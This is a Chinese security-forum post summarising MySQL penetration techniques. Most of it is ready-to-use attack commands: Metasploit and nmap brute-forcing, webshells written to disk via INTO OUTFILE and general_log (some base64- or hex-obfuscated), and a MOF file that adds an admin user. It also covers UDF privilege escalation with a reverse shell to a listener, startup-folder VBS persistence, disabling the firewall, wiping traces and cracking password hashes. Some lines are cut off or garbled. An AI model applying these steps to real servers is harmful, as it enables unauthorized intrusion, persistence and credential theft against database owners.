simeon / 2017-11-04 10:40:00 / 浏览数 12175 新手 入门资料 顶(0) 踩(0)

Mysql数据库渗透及漏洞利用总结

Simeon

Mysql数据库是目前世界上使用最为广泛的数据库之一,很多著名公司和站点都使用Mysql作为其数据库支撑,目前很多架构都以Mysql作为数据库管理系统,例如LAMP、

1.1 Mysql信息收集

1.端口信息收集

Mysql默认端口是3306端口,但也有自定义端口,针对默认端口扫描主要利用扫描软件进行探测,推荐使用:

- (1) iisputter,直接填写3306端口,IP地址填写单个或者C段地址。
- (2) nmap扫描nmap -p 3306 192.168.1.1-254

特定目标的渗透,可能需要对全端口进行扫描,可以使用Nmap对某一个IP地址进行全端口扫描,端口扫描软件还有sfind等DOS下扫描的工具。

2.版本信息收集

(1) msf查看版本信息auxiliary/scanner/mysql/mysql_version模块,以扫描主机192.168.157.130为例,命令为:

```
use auxiliary/scanner/mysql/mysql_version set rhosts 192.168.157.130
```

(2) mysql查询版本命令:

```
SELECT @@version`■`SELECT version();
```

(3)sqlmap通过注入点扫描确认信息:

```
sqlmap.py -u url --dbms mysql
```

(4) phpmyadmin管理页面登录后查看localhost->■■->■■■■■■■■■■■version参数值。

3.数据库管理信息收集

Mysql管理工具有多种,例如phpmyadmin网站管理,Navicat for

MySQL以及MysqlFront等客户端工具。这些工具有的会直接保存配置信息,这些信息包含数据库服务器地址和数据库用户名以及密码,通过嗅探或者破解配置文件可以获取

4.msf信息收集模块

(1) mysql哈希值枚举

```
use auxiliary/scanner/mysql/mysql_hashdump
set username root
set password root
run
```

(2)获取相关信息

```
use auxiliary/admin/mysql/mysql_enum
set username root
set password root
run
```

获取数据库版本,操作系统名称,架构,数据库目录,数据库用户以及密码哈希值。

(3)执行mysql语句,连接成功后可以在msf执行sql语句,跟sqlmap的--sql-shell模块类似。

use auxiliary/admin/mysql/mysql_sql

(4)将mysql_schem导出到本地/root/.msf4/loot/文件夹下

use auxiliary/scanner/mysql/mysql_schemadump

(5) 文件枚举和目录可写信息枚举

```
auxiliary/scanner/mysql/mysql_file_enum
auxiliary/scanner/mysql/mysql_writable_dirs
```

没有测试成功过,需要定义枚举目录和相关文件,觉得基本没有啥用。

1.2Mysql密码获取

1.2.1暴力破解

Mysql暴力破解主要有几种:

1.网页在线连接破解

可以使用burpsuite和phpMyAdmin多线程批量破解工具。 下载: https://portswigger.net/burp/、http://pan.baidu.com/s/1c1LD6co

2.msf通过命令行进行暴力破解

msf破解mysql密码模块auxiliary/scanner/mysql/mysql_login,其参数主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、I

(1)场景A:对内网获取root某一个口令后,扩展渗透

```
use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.157.1-254
set password root
set username root
```

执行后对192.168.157.1-254进行mysql密码扫描验证。

(2)场景B:使用密码字典进行扫描

```
use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.157.1-254
set pass_file /tmp/password.txt
set username root
run
```

3.使用nmap扫描并破解密码

(1)对某一个IP或者IP地址段进行nmap默认密码暴力破解并扫描

```
nmap --script=mysql-brute 192.168.157.130
nmap --script=mysql-brute 192.168.157.1-254
```

(2)使用root账号root密码进行mysql密码验证并扫描获取指定IP地址的端口信息以及mysql数据库相关信息

(3)检查root空口令

```
nmap --script mysql-empty-password 192.168.195.130
```

4.使用hscan工具对mysql口令进行扫描,需要设置扫描IP地址段以及数据库口令字典及用户名字典。

1.2.2源代码泄露

1.网站源代码备份文件

一些网站源代码文件中会包含数据库连接文件,通过查看这些文件可以获取数据库账号和密码。一般常见的数据库连接文件为config.php、web.config、conn.asp、d

2.配置备份文件

使用ultraedit等编辑文件编辑数据库配置文件后,会留下bak文件。

1.2.3文件包含

本地文件包含漏洞可以包含文件,通过查看文件代码获取数据库配置文件,进而读取数据库用户名和密码。

1.2.4其它情况

有些软件会将IP地址、数据库用户名和密码写进程序中,运行程序后,通过cain软件进行嗅探,可以获取数据库密码。另外Mysql客户端管理工具有的管理员会建立连接记录

1.3Mysql获取webshell

1.3.1phpmyadminroot账号获取webshell

MysqlRoot账号通过phpMyAdmin获取webshell的思路,主要有下面几种方式,以第一二六八种方法较佳,其它可以根据实际情况来进行。

1.直接读取后门文件

通过程序报错、phpinfo函数、程序配置表等直接获取网站真实路径,有些网站前期已经被人渗透过,因此在目录下留有后门文件通过load_file直接读取。

2.直接导出一句话后门

前提需要知道网站的真实物理路径,例如呼求偶真实路径D:\work\www,则可以通过执行以下查询,来获取一句话后门文件cmd.php,访问地址http://www.somesite.com/select '<?php @eval(\$_POST[antian365]);?>'INTO OUTFILE 'D:/work/WWW/antian365.php'

3.创建数据库导出一句话后门

在查询窗口直接执行以下代码即可,跟2.原理类似。

```
CREATE TABLE `mysql`.`antian365` (`temp` TEXT NOTNULL );
INSERT INTO `mysql`.`antian365` (`temp` ) VALUES('<?php @eval($_POST[antian365]);?>');
SELECT `temp` FROM `antian365` INTO OUTFILE'D:/www/antian365.php';
DROP TABLE IF EXISTS `antian365`;
```

4.可执行命令方式

创建执行命令形式的shell,但前提是对方未关闭系统函数。该方法导出成功后可以直接执行DOS命令,使用方法:www.xxx.com/antian365.php?cmd=(cmd=后面直接执行select '<?php echo \'<pre>\';system(\$_GET[\'cmd\']); echo \'\';?>' INTO OUTFILE 'd:/www/antian365.php'

另外在linux下可以导出直接执行命令的shell:

```
SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
```

http://localhost/shell.php?c=cat%20/etc/passwd

5.过杀毒软件方式

通过后台或者存在上传图片的地方,上传图片publicguide.jpg,内容如下:

<?php\$a=' PD9waHAgQGV2YWwoJF9QT1NUWydhbnRpYW4zNjUnXSk7ZGllKCk7Pz4=';error_reporting(0);@set_time_limit(0);eval("?>".base64_dec

然后通过图片包含temp.php,导出webshell。

```
select '<?php include 'publicguide.jpg' ?>'INTO OUTFILE 'D:/work/WWW/antian365.php'
```

一句话后门密码: antian365

6.直接导出加密webshell

一句话后门文件密码: pp64mqa2x1rnw68, 执行以下查询直接导出加密webshell, D:/WEB/IPTEST/22.php, 注意在实际过程需要修改D:/WEB/IPTEST/22.php。
select unhex('203C3F7068700D0A24784E203D2024784E2E737562737472282269796234327374725F72656C6750383034222C352C36293B0D0A246C7663

注意:

也可以使用http://tool.lu/hexstr/网站的代码转换来实现",将需要导出的文件代码复制到网站的字符串中",通过字符串转成十六进制",将十六进制字符串放入unhex函数进行select unhex('■■■■■■■") into dumpfile 'D:/WEB/shell.php'

7.CMS系统获取webshell

有些情况下无法获取网站的真实路径,则意味着无法直接导出一句话webshell,可以通过CMS系统管理账号登录系统后,寻找漏洞来突破,例如dedecms则可以通过破解管

- (1) dedecms系统的密码有直接md5,也有20位的密码,如果是20位的密码则需要去掉密码中的前3位和最后1位,然后对剩余的值进行md5解密即可;
- (2) phpcms v9版本的密码需要加salt进行破解,需要选择破解算法md5(md5(\$pass).\$salt)进行破解。
- (3)Discuz!论坛帐号保存在ucenter_members(Discuz7.X及以上版本)或者cdb_members(discuz6.x版本)表中,其破解需要带salt进行,其破解时是使用passw

8.general_log_file获取webshell

```
(1) 查看genera文件配置情况
show global variables like "%genera%";
(2) 关闭general_log
set global general_log=off;
(3) 通过general_log选项来获取webshell
set global general_log='on';
SET global general_log_file='D:/phpStudy/WWW/cmd.php';
在查询中执行语句:
SELECT '<?php assert($_POST["cmd"]);?>';
Shell为cmd.php,一句话后门,密码为cmd。
1.3.2sqlmap注入点获取webshell
sqlmap注入点获取webshell的前提是具备写权限,一般是root账号,通过执行命令来获取:
sqlmap -u url--os-shell
echo "<?php @eval($_POST['c']);?>" >/data/www/1.php
1.4Mysql提权
1.4.1mof提权
1.Webshell上传mof文件提权
MySQL Root权限MOF方法提权是来自国外Kingcope大牛发布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level
Exploit(https://www.exploit-db.com/exploits/23083/),简称mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique)
Oday)。Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:
■■1■■■ MOF ■■■■■■■■■■■■ Mofcomp.exe ■■■
■■2■■■ IMofCompiler ■■■ $ CompileFile ■■■
Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe
文件,或使用IMofCompiler::CompileFile方法。第三种方法仅为向后兼容性与早期版本的
WMI提供,并因为此功能可能不会提供在将来的版本后,不应使用。注意使用MOF方法提权的前提是当前Root帐号可以复制文件到%SystemRoot%\System32\Wbem\MOF
该漏洞的利用前提条件是必须具备mysql的root权限,在Kingcope公布的0day中公布了一个pl利用脚本。
perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555
192.168.2.100为mysql数据库所在服务器, mysql口令为空, 反弹到192.168.2.150的5555端口上。
2.生成nullevt.mof文件
将以下代码保存为nullevt.mof文件:
#pragma namespace("\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
  Query = "Select \ From __InstanceModificationEvent "
         "Where TargetInstance Isa \"Win32_LocalTime\" "
```

"And TargetInstance.Second = 5";

QueryLanguage = "WQL";

```
instance of ActiveScriptEventConsumer as $Consumer
  Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
  "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
};
instance of __FilterToConsumerBinding
  Consumer = $Consumer;
  Filter = $EventFilter;
};
3.通过Mysql查询将文件导入
执行以下查询语句,将上面生成的nullevt.mof导入到c:\windows\system32\wbem\mof\目录下在windows7中默认是拒绝访问的。导入后系统会自动运行,执行命令。
selectload_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
1.4.2.Msf直接mof提权
Msf下的exploit/windows/mysql/mysql_mof模块提供了直接Mof提权,不过该漏洞成功跟操作系统权限和Mysql数据库版本有关,执行成功后会直接反弹shell到mete
use exploit/windows/mysql/mysql_mof
set rport 3306 //■■mysql■■■■■
set password root //■■mysql■■■root■■
set username root //■■mysql■■■
options //■■■■
run 0
技巧:
要是能够通过网页连接管理(phpmyadmin),则可以修改host为%并刷新权限后,则可以通过msf等工具远程连接数据库。默认root等账号不允许远程连接,除非管理员!
方法1:本地登入mysql, 更改 mysql数据库里的 user 表里的 host项,将localhost改为%
use mysql;
update user set host = '%' where user = 'root';
FLUSH PRIVILEGES ;
select host, user from user;
方法2:直接授权(推荐)
从任何主机上使用root用户,密码:youpassword(你的root密码)连接到mysql服务器:
# mysql -u root -proot
GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION;
FLUSH PRIVILEGES;
推荐重新增加一个用户,在实际测试过程中发现很多服务器使用root配置了多个地址,修改后可能会影响实际系统的运行。在实际测试过程中因此建议新增一个用户,授权F
1.4.3UDF提权
```

UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限,其利用条件是目标系统是Windows(Win2000,XP,Win2003);拥有MYSQL的某个用户I

};

Windows下UDF提权对于Windows2008以下服务器比较适用,也即针对Windows2000、Windows2003的成功率较高。

1.UDF提权条件

- (1) Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
- (2) Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32, 在windows2000下放置于c:\winnt\system32。
- (3)掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。
- (4)可以将udf.dll写入到相应目录的权限。

2.提权方法

(1)获取数据库版本、数据位置以及插件位置等信息

(2)导出路径

```
C:\Windows\udf.dll Windows 2000
C:\Windows\udf.dll Windows2003
```

MYSQL

5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的libplugin文件夹下才能创建自定义函数。该目录默认是不存在的,这就需要我们使用webshell找到MYSQ

在某些情况下,我们会遇到Can't open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,网上大牛发现利用NTFS ADS流来创建文件夹的方法:

```
select @@basedir; //####mysql#### select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //###NTFS ADS###lib### select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//###NTFS ADS###
```

执行成功以后就会plugin目录,然后再进行导出udf.dll即可。

(3) 创建cmdshell 函数,该函数叫什么名字在后续中则使用该函数进行查询:

```
create function cmdshell returns string soname 'lib_mysqludf_sys.dll';
```

(4)执行命令:

```
select sys_eval('whoami');
```

一般情况下不会出现创建不成功哦。

连不上3389可以先停止windows防火墙和筛选

```
select sys_eval('net stop policyagent');
select sys_eval('net stop sharedaccess');
```

udf.dll下常见函数:

具体用户示例:

```
select cmdshell('net user iis_user 123!@#abcABC /add');
select cmdshell('net localgroup administrators iis_user /add');
select cmdshell('regedit /s d:web3389.reg');
select cmdshell('netstat -an');
```

```
(5)清除痕迹
```

drop function cmdshell;//■■■■■

删除udf.dll文件以及其它相关入侵文件及日志。

(6)常见错误

1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

在my.ini或者mysql.cnf文件中注销(使用#号)包含secure_file_priv的行(SHOW VARIABLES LIKE "secure_file_priv")。

1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option

需要将my.ini中的skip-grant-tables选项去掉。

3.webshell下udf提权

通过集成udf提权的webshell输入数据库用户名及密码以及数据库服务器地址或者IP通过连接后导出进行提权。

4.Mysql提权综合利用工具

v5est0r 写了一个Mysql提权综合利用工具,详细情况请参考其代码共享网站:https://github.com/v5est0r/Python_FuckMySQL其主要功能有:

22 Managemysql Management UDF DLL MANAGEMENT UDF

3 DELETE AND A STATE OF THE STA

UdF自动提权:

```
python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf
```

LPK劫持提权:

```
python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk
```

启动项提权:

```
python root.py -a 127.0.0.1 -p root -e "ver&whoami" -mst
```

例如通过LOAD_FILE来查看Mysql配置文件my.ini,如果其中配置了skip-grant-tables,这无法进行提权

1.6.3无法获取webshell提权

1.连接mysql

```
\blacksquare 1 \blacksquare mysql.exe -h ip -uroot -p
```

■2■phpmyadmin

■3■Navicat for MySQL

2.查看数据库版本和数据路径

```
SELECT VERSION( );
Select @@datadir;
```

5.1 dll c:/windows c:/windows/system32/

```
5.1 SHOW VARIABLES WHERE Variable_Name LIKE "%dir"; show variables like '%plugin%'; select load_file('C:/phpStudy/Apache/conf/httpd.conf') select load_file('C:/phpStudy/Apache/conf/vhosts.conf') select load_file('C:/phpStudy/Apache/conf/extra/vhosts.conf') select load_file('C:/phpStudy/Apache/conf/extra/httpd.conf') select load_file('C:/phpStudy/Apache/conf/extra/httpd.conf') select load_file('d:/phpStudy/Apache/conf/vhosts.conf')
```

3.修改mysql.txt

Mysql.txt为udf.dll的二进制文件转成十六进制代码。

(1) 先执行导入ghost表中的内容

修改以下代码的末尾代码 select backshell("YourIP",4444);

(2)导出文件到某个目录

```
select data from Ghost into dumpfile 'c:/windows/mysqldll.dll';
select data from Ghost into dumpfile 'c:/windows/system32/mysqldll';
select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/mysqldll';
select data from Ghost into dumpfile 'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll';
select data from Ghost into dumpfile 'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll'
select data from Ghost into dumpfile 'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll';
select load_file('C:/ProgramData/MySQL/MySQL Server 5.1/Data/mysql/user.frm');
select data from Ghost into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib/plugin/mysqldll.dll'
(3) 查看FUNCTION中是否存在cmdshell和backshell
存在则删除:
drop FUNCTION cmdshell;//■■cmdshell
drop FUNCTION backshell;//■■backshell
创建backshell:
CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //
在具备独立主机的服务器上执行监听:
nc -vv -l -p 44444
执行查询:
select backshell("192.192.192.1",44444);//■■192.192.192.1■■■IP■■■
4.获取webshell后添加用户命令
注意如果不能直接执行,则需要到c:\windows\system32\下执行
net user antian365 www.xianzhi.aliyun.com /add
net localgroup administrators antian365
1.6.4sqlmap直连数据库提权
Sqlmap直接连接数据库提权,需要有写入权限和root账号及密码,命令如下:
(1)连接数据库
sqlmap.py -d "mysql://root:123456@219.115.1.1:3306/mysql" --os-shell
(2)选择操作系统的架构,32位操作系统选择1,64位选择2.
(3)自动上传udf或提示os-shell
(4)执行whomai命令如果获取系统权限,则表示提权成功。
4.msfudf提权
Kali渗透测试平台下执行(kali下载地https://www.kali.org/downloads/):
msfconsole
use exploit/windows/mysql/mysql_payload
options
set rhost 192.168.2.1
set rport 3306
set username root
set password 123456
run 0■■exploit
msf下udf提权成功率并不高,跟windows操作系统版本,权限和数据库版本有关,特别是secure-file-priv选项,如果有该选项基本不会成功。
1.6.4启动项提权
1.创建表并插入vbs脚本到表中
依次使用以下命令:
```

show databases ;
use test;

```
show tables;
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user aspnetaspnettest/add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators aspnet /add"",0) " );
select \ from a;
```

1. 导出vbs脚本到启动

使用以下命令将刚才在a表中创建的vbs脚本导出到启动选项中。

导入成功后,系统重新启动时会自动添加密码为"1"且用户名称为"1"的用户到管理员组中。在实际使用过程中该脚本成功执行的几率比较低,有时候会出现不能导出的错误

推荐使用以下脚本:

说明

在不同的操作系统中C:\Documents and Settings\All

Users\■■■■■■\■■|■■目录文件名称可能会不同,这个时候就要将其目录换成相应的目录名称即可。例如如果是英文版本操作系统则其插入的代码为:

select from b into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\b.bat";

Windows 2008 Server的启动目录为:

C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs

其vbs方法可以参考如下写法:

```
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user antian365 qwer1234!@# /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators antian365 /add"",0) " );
select \ from a into outfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs";
```

3.msf下模块exploit/windows/mysql/mysql_start_up提权

```
use exploit/windows/mysql/mysql_start_up
set rhost 192.168.2.1
set rport 3306
set username root
set password 123456
```

msf下mysql_start_up提权有一定的几率,对英文版系统支持较好。

1.7Msf其它相关漏洞提权

1.Mysql身份认证漏洞及利用(CVE-2012-2122)

当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也 All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞.

MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23不存在漏洞. MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not不存在漏洞.

use auxiliary/scanner/mysql/mysql_authbypass_hashdump

2.exploit/windows/mysql/mysql_yassl_hello 3.exploit/windows/mysql/scrutinizer_upload_exec

1.8.mysql密码破解

1.8.1cain工具破解mysql密码

使用UltraEdit-32编辑器直接打开user.MYD文件,打开后使用二进制模式进行查看,在root用户后面是一串字符串,选中这些字符串将其复制到记事本中,这些字符串即为

注意:

- (1) root后面的""不要复制到字符串中。
- (2)在有些情况下需要往后面看看,否则得到的不是完整的MYSQLSHA1密码,总之其正确的密码位数是40位。

安装cain工具,使用cracker,右键单击"Add tolist"将Mysql Hashes值加入到破解列表中,使用软件中的字典、暴力破解等方式来进行暴力破解。

1.8.2网站在线密码破解

1.cmd5.com破解。将获取的mysql值放在cmd5.com网站中进行查询, mysql密码一般都是收费的。

2.somd5.com破解。Somd5.com是后面出现的一个免费破解网站,每次破解需要手工选择图形码进行破解,速度快,效果好,只是每次只能破解一个,而且破解一次后需要

1.8.3oclhash破解

hashcat支持很多种破解算法,免费开源软件,官方网站https://hashcat.net/hashcat/,破解命令:

hashcat64.exe -m 200myql.hashpass.dict //破解MySQL323类型

hashcat64.exe -m 300myql.hashpass.dict //破解MySQL4.1/MySQL5类型

1.8.4 John the Ripper password cracker

John the Ripper下载地址: http://www.openwall.com/john/h/john179w2.zip, John the Ripper除了能够破解linux外,还能破解多种格式的密码。

```
Echo 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B>hashes.txt

John -format =mysql-sha1 hashes.txt

john --list=formats | grep mysql //
```

```
root@kali:=# cat hashes.txt
*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
root@kali:=# john --format=mysql-shal hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (mysql-shal, MySQL 4.1+ [SHAl 128/128 AVX 4x])
Press 'q' or Ctrl-C to abort, almost any other key for status
root (?)
1g 0:00:00:01 DONE 3/3 (2017-10-22 10:09) 0.5555g/s 3126Kp/s 3126Kc/s 3126KC/s roob..rooc
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@kali:=#
```

点击收藏 | 3 关注 | 0

上一篇:[活动] 先知创新大会现场众测活动 下一篇:一些关于代理的知识

1. 2 条回复



笑然 2017-11-04 14:48:54

等内容

0 回复Ta



hades 2017-11-06 09:14:30

@simeon 已经修复

0 回复Ta

ᅏᆿ	一四十
⇔ऋ	

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS <u>关于社区</u> 友情链接 社区小黑板